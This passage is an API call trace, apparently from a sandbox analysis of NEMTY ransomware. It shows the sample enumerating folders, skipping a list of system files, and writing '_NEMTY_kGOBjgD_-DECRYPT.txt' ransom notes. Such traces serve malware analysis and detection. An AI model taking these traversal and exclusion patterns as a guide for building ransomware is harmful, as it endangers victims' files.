returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.255] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87a8970, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe87a8970, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe87a8970, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0091.255] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0091.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0091.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0091.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0091.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0091.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0091.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.256] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87a8970, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe87a8970, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe87a8970, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0091.256] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0091.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0091.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0091.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0091.257] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Stacking", cAlternateFileName="")) returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2=".") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="..") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="...") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="windows") returned -1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="$RECYCLE.BIN") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="rsa") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="NTDETECT.COM") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="ntldr") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="MSDOS.SYS") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="IO.SYS") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="boot.ini") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="boot.ini") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="AUTOEXEC.BAT") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="ntuser.dat") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="desktop.ini") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="CONFIG.SYS") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="RECYCLER") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="BOOTSECT.BAK") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="bootmgr") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="programdata") returned 1 [0091.257] lstrcmpiW (lpString1="Stacking", lpString2="appdata") returned 1 [0091.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stacking", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0091.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stacking", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stacking", lpUsedDefaultChar=0x0) returned 8 [0091.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stacking", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0091.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stacking", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stacking", lpUsedDefaultChar=0x0) returned 8 [0091.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0091.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0091.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0091.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0091.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0091.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0091.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0091.258] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0091.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0091.263] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.263] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0091.264] CloseHandle (hObject=0x3cc) returned 1 [0091.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0091.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0091.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0091.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0091.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0091.265] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0091.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0091.266] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.266] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0091.267] CloseHandle (hObject=0x3cc) returned 1 [0091.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0091.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0091.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0091.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xea0a7070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xea0a7070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0091.267] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.268] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xea0a7070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xea0a7070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0091.268] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.268] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.268] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0091.268] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0091.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0091.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0091.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0091.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0091.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0091.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0091.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0091.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0091.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0091.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0091.269] Sleep (dwMilliseconds=0x5) [0091.273] GetSystemTimeAsFileTime (in: 